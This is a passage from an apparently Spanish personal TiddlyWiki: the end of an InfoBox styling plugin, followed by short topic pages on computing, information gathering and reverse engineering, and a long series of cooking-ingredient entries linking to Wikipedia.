    var sliceValue = store.getTiddlerSlice(infoBoxType+"InfoBox", sliceName);
    if (sliceValue) el.css(property, sliceValue);
  }

  function getSlice(infoBoxType, property) {
    var value = wikifyStatic(store.getTiddlerSlice(infoBoxType+"InfoBox", property));
    var processed = store.getTiddlerText(value);
    return processed ? trim(processed) : value; // if !getTiddlerText, we assume its a URL
  }


  function usingIEBoxModel() {
    return config.browser.isIE && !(/Trident/.test(navigator.userAgent));
  }

  function applyStyleSheet() {
    var stylesheet = store.getTiddlerText(tiddler.title + "##StyleSheet");
    config.shadowTiddlers["StyleSheetInfoBoxPlugin"] = stylesheet;
    store.addNotification("StyleSheetInfoBoxPlugin", refreshStyles);
  }

  function trim(s) { return s.replace(/^[ \n\t]*/, "").replace(/[ \n\t]*$/g, ""); }

  function log() {
    if (console && console.log) console.log.apply(console, arguments);
  }


/***
!StyleSheet

div.infoBox { border: 1px solid [[ColorPalette::SecondaryDark]];
           background-color: [[ColorPalette::SecondaryPale]];
           padding: [[InfoBoxPlugin::Padding]]px;  margin: 0; width: 400px; }
div.infoBox h3 { border-bottom: 0; margin-top: 0; color: [[ColorPalette::PrimaryDark]]; }
div.infoBox .message { font-style: italic; }

!(end of StyleSheet)
|Padding|5|
!(end of padding)
***/

})();
/*}}}*/
<<showtoc>>
!Descripción
<part descripcion>
En castellano sería "recogida de información". Es la etapa previa en cualquier estudio de seguridad, donde se inventaría la red, los componentes de la misma, los administradores, y se intenta obtener informacion adicional que pueda proporcionar algún vector de entrada al sistema.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://en.wikipedia.org/wiki/Intelligence_(information_gathering)

!! Información técnica
* Libro del INTECO-CERT: http://www.csirtcv.gva.es/sites/all/files/images/content/cert_inf_seguridad_information_gathering.pdf
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Todo lo relacionado con la informática, los ordenadores personales, las computadores y los dispositivos programables en general, desde teoría de la computación, inteligencia artificial, lenguajes de programación o marcado, librerías de programación, etc, etc. Esto incluye casi exclusivamente conocimiento apropiado para profesionales de la informática, pero el común de los mortales lo encontrará, ¿como decirlo? ¡condenadamente aburrido!

El software (programas) se recogen en una sección diferenciada, mucho más interesante para esa parte de la humanidad que todavía conserva sus cabales
</part>
!Enlaces
<part enlaces>
!! General
* Artículo de la wikipedia: http://es.wikipedia.org/wiki/Inform%C3%A1tica
* Ciencias de la computación: http://es.wikipedia.org/wiki/Ciencias_de_la_computaci%C3%B3n
* A Note on Distributed Computing: http://labs.oracle.com/techrep/1994/abstract-29.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Tratamiento y generación de gráficos mediante ordenador. No confundir con visión por ordenador, esto sería juesto lo opuesto: crear elementos gráficos, no interpretarlos.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki
** Ténicas de raytracing: http://en.wikipedia.org/wiki/Ray_tracing_%28graphics%29
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Descripción de la sección
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Ingenier%C3%ADa_inversa
* Ingeniería inversa con [[Python]]: http://www.cyberhades.com/2011/03/29/ingenieria-inversa-con-python/
* Comic introductorio: http://hackerschool.org/DefconCTF/17/B300.html
* Chuleta para windows con x86: http://www.rnicrosoft.net/docs/X86_Win32_Reverse_Engineering_Cheat_Sheet.pdf
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Información sobre ingeniería de software y gestión de proyectos.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Ingenier%C3%ADa_de_software

!! Artículos
* On the Criteria To Be Used in Decomposing Systems into Modules: http://sunnyday.mit.edu/16.355/parnas-criteria.html

!! Utilidades y herramientas
* Alternativas a MS Project: http://www.astracanada.net/2009/08/19/alternativas-gratuitas-a-microsoft-project/

!! Metodologías
* MÉTRICA 3: http://www.csi.map.es/csi/metrica3/index.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
El aceite es un líquido graso que se utiliza para cocinar. Puede ser de origen vegetal o animal. Si no se especifica el tipo de aceite, el más habitual en las cocinas españolas es el aceite de oliva, seguido del de girasol (principalmente usado para freír)
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Aceite
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Aceite vegetal extraído de la oliva. Según su pureza y refinamiento puede tener distintos grados de acidez. El más afamado es el "virgen extra", aceite resultante de la primera prensada de la oliva y sin ningún refinamiento posterior.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Aceite_de_oliva
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
El ajo es una hortaliza de sabor picante que suele utilizarse en pequeñas cantidades muchas veces como condimento, pero otras como parte fundamental del plato.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Ajo
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Es un fruto seco proveniente del almendro. Se suelen tostar para su consumo. Se pueden comer sólas ligeramente saladas, pero también se usan sin sal en multitud de postres y salsas acompañando a verduras, carnes y pescados.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Almendra
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
El azúcar es el edulcorante por excelencia en toda clase de [[postres|Recetas de postres]]. Hay tres tipos comunes de azucar: blanco granulado, moreno granulado, y azucar glass blanco.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Az%C3%BAcar
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes  with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
El azucar glass es un azucar en forma de polvo muy fino, resultante de triturar gránulos de azucar. Suele utilizarse en repostería para espolvorear todo tipo de postres.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: https://secure.wikimedia.org/wikipedia/es/wiki/Az%C3%BAcar_glas
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
El azúcar moreno es azúcar sin refinar, con melaza. La melaza suele extraerse de la caña de azúcar
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Azucar_moreno
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Líquidos bebestibles
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Líquidos bebibles con más de un 1% de volumen de alcohol.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
En cocina, es un polvo proveniente de machacar las semillas de la planta del mismo nombre. Se utiliza en postres o disuelto en leche como bebida. Su derivado más famoso es el [[chocolate|Ingrediente: Chocolate]].
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Cacao
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
! Descripción
<part descripcion>
Hortaliza otoñal ideal para hacer tanto cremas como postres.
</part>
! Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Cucurbita
* ''Recetarios:''
** Hogar útil: http://www.hogarutil.com/cocina/recetas/calabaza.html
** Mis recetas: http://www.mis-recetas.org/recetas/search?text=calabaza
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
La canela es una especia usada ámpliamente en repostería, para aromatizar todo tipo de dulces. Adicionalmente, se puede utilizar para aromatizar algunas salsas.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Cinnamomum_verum
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Productos provenientes de las partes musculosas de los animales
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Carne
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Las carnes blancas son carne de animales muy baja en grasa. Se engloban en esta categoría las aves de corral y los lagomorfos domésticos ([[conejos|Ingrediente: Conejo]]).
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Carne_blanca
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Las carnes rojas son carnes con bastante grasa y, por lo general, con un vivo color rojizo.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Carne_roja
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
La cebolla es un bulbo de la planta del mismo nombre. Por fuera tiene una capa impermeable marrón, pero por dentro es blanca o rojiza y estructurada en capas. Es conocida por emitir gases lacrimógenos al ser cortada. Cruda tiene un sabor picante, pero frita o cocida tiene un sabor suave y dulzón.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Cebolla
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
El cerdo es un mamifero domesticado que se consume por su carne de muchas maneras distintas. Es muy utilizado en la elaboración de embutidos.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Cerdo
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
El chocolate es un sólido de color marrón oscuro que se obtiene de las semillas del cacao y es ámpliamente utilizado en diversos postres. Se puede consumir sólido mezclado con leche o incluso liquido y disuelto en esta.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Chocolate
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
El curry es un combinado de especias proveniente de la cocina asiática, generalmente de color amarillo y con un intenso sabor ligeramente picante. Su suele utilizar con carnes y arroces.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Curry
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Todo tipo de postres y golosinas que sirvan como ingrediente para otros postres o golosinas. Por ejemplo el turrón, el dulce de leche, etc.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Los embutidos son piezas de carne, generalmente picada, con especias y metida en un tubo de tripa de mamífero (de ahí su nombre). La carne puede estar cocida, ahumada o secada. Se llaman embutidos también a otras carnes que haya sufrido procesos de secado (curación) o ahumado, aunque no se introduzcan en tripas, como el jamón.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Embutido
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Las especias o condimentos son sustancias aromáticas que dan sabor y olor a los alimentos. Se usan en pequeñas cantidades y tienen un poder alimenticio despreciable, pero suelen ser lo que aporta el sabor característico a muchas comidas.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Especia
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Las frutas son los frutos comestibles de diversas plantas, que suelen ser carnosas y por lo general se ingieren cuando están maduras. Es un término culinario, porque hay frutos comestibles como el tomate o la berenjena que son considerados [[verduras|Ingrediente: Verduras]].
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Frutas
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Son bayas, frutas y nueces con menos del 50% de agua en su composición. Suelen ser duras y sobre todo destacan por su capacidad para conservarse mucho tiempo y sus altas concentraciones en glúcidos.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Frutos_secos
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Así se le llama a un tipo de pimientos picantes procedentes de Chile. Tiene color verde y rojo cuando madura y un aspecto delgado y alargado. Suelen ser muy picantes.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Guindilla
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
La harina es un compuesto a base de cereales triturados hasta convertirlos en un polvo fino. Si no se especifica nada más, la "harina" común es la que se extrae del trigo, pero también se puede extraer del maiz, del arroz, etc.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Harina
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
[[Harina|Ingrediente: Harina]] hecha a base de trigo. La más refinada se usa en pastelería.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
El huevo es un alimento de origen animal. Consiste en un óvulo gigantesco, generalmente de origen avícola, recubierto de una sustancia dura llamada "cáscara". Si no se especifica el animal, el huevo más común en la cocina española es el de gallina.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Huevo_%28alimento%29
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Se elabora a partir de carne magra de cerdo cocida con sal
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Jam%C3%B3n_cocido
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Como dice la [[canción de Los Berzas|http://www.youtube.com/watch?v=r7lN8IqmBHw]]: "eres la base de los productos lácteos, eres fundamental, para mi organismo"
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Leche
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Las levaduras son una familia de hongos unicelulares. Son los responsables de los procedimientos de fermentación, que convierten los glúcidos de los alimentos en otras sustancias como alcohol y dióxido de carbono (CO~~2~~). Se utilizan mucho en repostería y panadería para que la masa que de hueca y no demasiado densa, y son responsables de la mayor parte de bebidas alcohólicas.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Levadura
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Los productos lácteos son todos los derivados de la leche de diversos mamíferos. Principalmente de vaca, cabra y oveja.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/L%C3%A1cteos
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
La mantequilla es un derivado graso de la leche muy utilizado en la elaboración de postres, salsas y como sustitudo del aceite para ciertos platos.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Mantequilla
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
El orégano es una planta hervácea propia de terrenos secos. Se emplean sus hojas desecadas como condimento de muchos alimentos en la cocina mediterránea, especialmente en la italiana.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Or%C3%A9gano
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
El pan es una masa horneada a base de [[harina|Ingrediente: Harina]], [[levadura|Ingrediente: Levadura]], sal y agua.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Pan
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Es [[pan|Ingrediente: Pan]] troceado mediante un proceso de rayado. Suele usarse en rebozados.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Pan_rallado
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
La pechuga es la parte del pecho de las aves, en este caso, es la parte del pecho del [[pollo|Ingrediente: Pollo]].
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
La uva Pedro Ximenez o Pedro Jimenez es un tipo de moscatel. Los vinos que produce se llaman también Pedro Jimenez, y son dulces y afrutados.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Uva_Pedro_Xim%C3%A9nez
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Es un preparado a base de pimientos dulces (no picantes) seco y triturado. Da sabor y color a los guisos y salsas.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Piment%C3%B3n
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
La pimienta es un condimento de sabor picante que consiste en las semillas de la planta del mismo nombre. Generalmente se usa molida y como aderezo para las carnes.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Pimienta
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Es una verdura de color verde que se vuelve de color rojo al madurar. Se puede consumir en ambos estados.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Pimiento
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Estado maduro del [[pimiento|Ingrediente: Pimiento]]
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_clase_recetas with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
El pollo es un ave de corral de carne gustosa, de sabor suave y baja en grasa.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Pollo
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
El queso es un derivado de la leche elaborado a partir de leche cuajada. Hay muchos tipos de quesos dependiendo de su elaboración, el tipo de leche usada (vaca, cabra, oveja, búfala, etc) y las bacterias y hongos que intervengan en su elaboración.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Queso
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Es un tipo de queso que se distribuye en finas lonchas y de contenido bastante graso, suele ser blando y fácilmente fundible.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Salsa realizada con [[Ingrediente: Tomate]], muy utilizada como base en las pizzas o para acompañar a carnes y pescados. Su uso es tan habitual que los supermercados la venden elaborada envasada en tarros de cristal o tetrabricks, ¡pero nada como la salsa casera!
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Salsa_de_tomate
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
El tomate es una planta y el fruto comestible de la misma. En cocina se utiliza mucho el fruto, característico por ser globular, rojo y jugoso. Es la base de numerosas salsas.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Tomate
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Descripcion del ingrediente, información adicional
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Turr%C3%B3n
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
La vainilla es uno de los condimentos más utilizados en pastelería
</part>
!Enlaces
<part enlaces>
